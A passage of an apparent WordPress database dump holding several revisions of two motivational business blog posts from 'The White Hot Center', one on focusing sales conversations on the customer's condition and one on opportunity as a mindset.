improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\r\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\r\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\r\n\r\n<strong>And now for the tricky part.</strong>\r\n\r\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\r\n\r\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\r\n\r\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\r\n\r\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\r\n\r\n<strong>Bring more to the table.</strong>\r\n\r\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\r\n\r\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\r\n\r\nHelp your customer-to-be see a better vision for improving their condition!\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center.</em>', 'Improving the customer’s condition.', 0, '', 'inherit', 'open', 'open', '', '2600-revision-11', '', '', '2014-06-13 11:10:36', '2014-06-13 18:10:36', '', 2600, 'http://www.whitehotcenter.com/2014/06/2600-revision-11/', 0, 'revision', '', 0),
(2613, 2, '2014-06-13 11:13:56', '2014-06-13 18:13:56', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\n\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\n\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\n\n<strong>Capabilities are commodities.</strong>\n\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\n\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to become a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\n\nWhen you understand, from the point of view of the customer, what condition needs improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\n\n<strong>And now for the tricky part.</strong>\n\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\n\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\n\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\n\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\n\n<strong>Bring more to the table.</strong>\n\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\n\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\n\nHelp your customer-to-be see a better vision for improving their condition!\n\n&nbsp;\n\n<em>If you found this post helpful, please subscribe to The White Hot Center.</em>', 'Improving the customer’s condition.', 0, '', 'inherit', 'open', 'open', '', '2600-autosave', '', '', '2014-06-13 11:13:56', '2014-06-13 18:13:56', '', 2600, 'http://www.whitehotcenter.com/2014/06/2600-autosave/', 0, 'revision', '', 0),
(2614, 2, '2014-06-24 17:14:23', '2014-06-25 00:14:23', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times. As an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I sometimes fear opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n<h2><em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em></h2>\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\n1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n\r\nTurning formless ideas into molecules takes much more than simple positive thinking.\r\n\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'publish', 'closed', 'closed', '', 'opportunity-is-a-head-game', '', '', '2014-06-24 17:20:48', '2014-06-25 00:20:48', '', 0, 'http://www.whitehotcenter.com/?p=2614', 0, 'post', '', 0),
(2615, 2, '2014-06-24 16:36:21', '2014-06-24 23:36:21', 'Half Empty/Full (Sparkling Water)', 'Oppurtunity', 0, '', 'inherit', 'open', 'open', '', 'half-empty-full', '', '', '2014-06-24 16:36:21', '2014-06-24 23:36:21', '', 2614, 'http://www.whitehotcenter.com/wp-content/uploads/2014/06/half-empty-full.jpg', 0, 'attachment', 'image/jpeg', 0),
(2616, 2, '2014-06-24 16:39:56', '2014-06-24 23:39:56', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\nLately I have been thinking a lot about “opportunity”.\n\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\n\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times.\n\nAs an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\n\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I have doubts and fears that opportunity is in limited supply.\n\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\n\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\n\n<strong>The tide of opportunity.</strong>\n\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\n\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\n\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\n\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\n\n<strong>The science of opportunity.</strong>\n\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\n\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\n\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\n\n<em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em>\n\n<em>Wallace Wattles\nNew Thought Philosopher\nThe Science of Getting Rich\nPublished in 1911</em>\n\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\n\n&nbsp;\n\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\n\n<strong> </strong>\n\n<strong>Is positive thinking enough?</strong>\n\n&nbsp;\n\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\n\n&nbsp;\n\nTurning formless ideas into molecules takes much more than simple positive thinking.\n\n&nbsp;\n\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\n\n&nbsp;\n\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\n\n&nbsp;\n\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision', '', '', '2014-06-24 16:39:56', '2014-06-24 23:39:56', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision/', 0, 'revision', '', 0),
(2617, 2, '2014-06-24 16:40:48', '2014-06-24 23:40:48', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times.\r\n\r\nAs an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I have doubts and fears that opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity.</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n\r\n<em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em>\r\n\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\nPublished in 1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n<h2>Turning formless ideas into molecules takes much more than simple positive thinking.</h2>\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-2', '', '', '2014-06-24 16:40:48', '2014-06-24 23:40:48', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-2/', 0, 'revision', '', 0);
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(2618, 2, '2014-06-24 16:40:52', '2014-06-24 23:40:52', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times.\r\n\r\nAs an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I have doubts and fears that opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity.</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n\r\n<em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em>\r\n\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\nPublished in 1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n<h2>Turning formless ideas into molecules takes much more than simple positive thinking.</h2>\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-3', '', '', '2014-06-24 16:40:52', '2014-06-24 23:40:52', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-3/', 0, 'revision', '', 0),
(2619, 2, '2014-06-24 16:43:30', '2014-06-24 23:43:30', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times.\r\n\r\nAs an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I have doubts and fears that opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time. At the same time, others in the same business, same market, same location will struggle to make ends meet.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity.</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n\r\n<em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em>\r\n\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\nPublished in 1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n<h2>Turning formless ideas into molecules takes much more than simple positive thinking.</h2>\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a head game.', 0, '', 'inherit', 'open', 'open', '', '2614-revision-4', '', '', '2014-06-24 16:43:30', '2014-06-24 23:43:30', '', 2614, 'http://www.whitehotcenter.com/2014/06/2614-revision-4/', 0, 'revision', '', 0),
(2620, 2, '2014-06-24 16:43:34', '2014-06-24 23:43:34', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg"><img class="alignnone size-full wp-image-2615" title="Oppurtunity" src="http://whc.fbdev.org/wp-content/uploads/2014/06/half-empty-full.jpg" alt="" width="497" height="310" /></a>\r\n<h1>If you perceive “opportunity” as something in limited supply, or in inexhaustible supply, the perception is all in your head. You choose your own point of view about the availability of opportunity.</h1>\r\nLately I have been thinking a lot about “opportunity”.\r\n\r\nWhere does opportunity come from?  Where are the best opportunities now? How to attract opportunity? Are there a limited number of opportunities available only to a select few?\r\n\r\nI’d like to suggest that the quantity and quality of your opportunities is directly proportional to your faith and belief that opportunity is abundantly available for you at all times.\r\n\r\nAs an entrepreneur, you know your only power to create anything valuable begins in the formless realm (the land of creativity, imagination and intuition) right inside your head.\r\n\r\nI’ve always been fascinated with the idea that “being more of yourself” in the world forms the basis for creating more opportunity. Like you, I am a seeker. I’m always tuned to my inner radar… paying attention to what shows up, connecting dots, following my intuition more than facts.  And like you, I have doubts and fears that opportunity is in limited supply.\r\n\r\nMy own life-long desire for personnel success and achievement has led me to wonder how some entrepreneurs magically create great value from thin air at just the perfect time. At the same time, others in the same business, same market, same location will struggle to make ends meet.\r\n\r\nIn studying the traits common in entrepreneurs who build amazingly successful enterprises, one in particular seems to determine how well their opportunities will exceed their current capacity– a core belief that opportunity is in endless supply and begins as a creative thought in the marvelous mind.\r\n\r\n<strong>The tide of opportunity.</strong>\r\n\r\nLike the ocean, opportunity is like the tide–always moving in different directions according to the needs of the marketplace. Customers needs and desires are always changing, lifestyle trends in the culture come and go, technology is forever in hyper evolution– all contribute to the dynamic tides of opportunity in the marketplace.\r\n\r\nAs you begin building your business, it’s important to remember opportunity favors those who “swim with the tide” as opposed to against it.\r\n\r\nThe tide of opportunity always flows in the direction of growth and advancement never toward lack or limitation. Opportunity is about adding new value rather than compete for the value others have already created.  Opportunity favors those who bring greater value (innovation) to the marketplace first–never because they need business now.\r\n\r\nThe only way to grow your business is to tap your own flow of opportunity from within your creative mind.\r\n\r\n<strong>The science of opportunity.</strong>\r\n\r\nIn the early 20<sup>th</sup> century New Thought philosophy, (which has become the foundation on which all modern day human potential gurus base their philosophy of success), is based on the premise that the universe (both formless and formed) operates by exact law.  These laws are always on and inescapable–like gravity.\r\n\r\nOne of the first principles of this philosophy (now confirmed by quantum science) suggests everything we see in form is really made up of one original substance–commonly known as vibrating energy–out of which all matter precedes. Likewise, opportunity is energy. Energy is the goo of potential as yet unformed.\r\n\r\nHere’s the kicker and the key to the whole mental puzzle of creating opportunity:\r\n\r\n<em>“The original material is a thinking substance responsive to the needs of humans and will not let humanity be without any good thing”.</em>\r\n\r\n<em>Wallace Wattles\r\nNew Thought Philosopher\r\nThe Science of Getting Rich\r\nPublished in 1911</em>\r\n\r\nOpportunity is alive and found everywhere and in everything– the higher expression of a benevolent natural force in the universe responsive to our desires and always available.\r\n\r\nOnly thinking in “a certain way” taps us into this powerful, limitless creative force. That’s how all the stuff ever created in the world shows up. That’s how we humans have evolved over the ages to create the wild and unbelievable world we now live in today!  Like the cliché says “thoughts are things”.\r\n\r\n<strong>Is positive thinking enough?</strong>\r\n\r\nWhat if you just happen to really need business now and opportunities are nowhere to be found in the visible supply? What then?  Do you still believe opportunity is everywhere always? Do you believe without doubt opportunity will respond to your need and desire? What will keep your faith that you are always surrounded by opportunity for greater growth and expansion in your business and in your whole life experience?\r\n<h2>Turning formless ideas into molecules takes much more than simple positive thinking.</h2>\r\nOther Jedi Master level mental faculties are required to work in harmony with your imagination and intuition–faith, belief, passion, love, commitment, disciplined action, patience, persistence and perseverance–actions that form the currency that challenge requires to pay for the reward of endless opportunity.\r\n\r\nWithout acting in a certain way, the magic of bringing limitless opportunities from your creative mind into the formed will never work.\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center at the top of the page.</em>', 'Opportunity is a 